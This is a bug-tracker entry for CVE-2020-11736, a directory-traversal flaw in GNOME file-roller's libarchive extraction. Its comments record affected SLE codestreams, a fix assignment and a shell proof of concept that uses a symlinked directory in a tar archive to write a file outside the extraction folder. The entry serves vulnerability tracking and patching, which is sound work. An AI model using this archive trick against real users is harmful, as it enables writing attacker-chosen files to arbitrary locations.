Description Alexandros Toptsoglou 2020-04-14 14:08:52 UTC 
CVE-2020-11736

fr-archive-libarchive.c in GNOME file-roller through 3.36.1 allows Directory
Traversal during extraction because it lacks a check of whether a file's parent
is a symlink to a directory outside of the intended extraction location.

Comment 1 Alexandros Toptsoglou 2020-04-15 11:15:53 UTC 
Tracked as affected SLE12 SLE12-SP2 and SLE15. I successfully reproduced the issue in all the above codestreams. The issue is not reproducible in older codestreams where a warning is thrown.

To reproduce the issue simply do the following:

mkdir /tmp/file-roller-poc  
cd !$
ln -s /tmp Files
tar -cf woops.tar Files
rm Files
mkdir Files
echo Hello World > Files/woops
tar -uvf woops.tar Files/woops
file-roller -h woops.tar
cat /tmp/woops 

If Hello world is printed the issue has been reproduced.
Comment 2 Michael Gorse 2020-05-15 18:25:56 UTC 
I'll take this, since I'm already making an update for SLE-15-SP2.
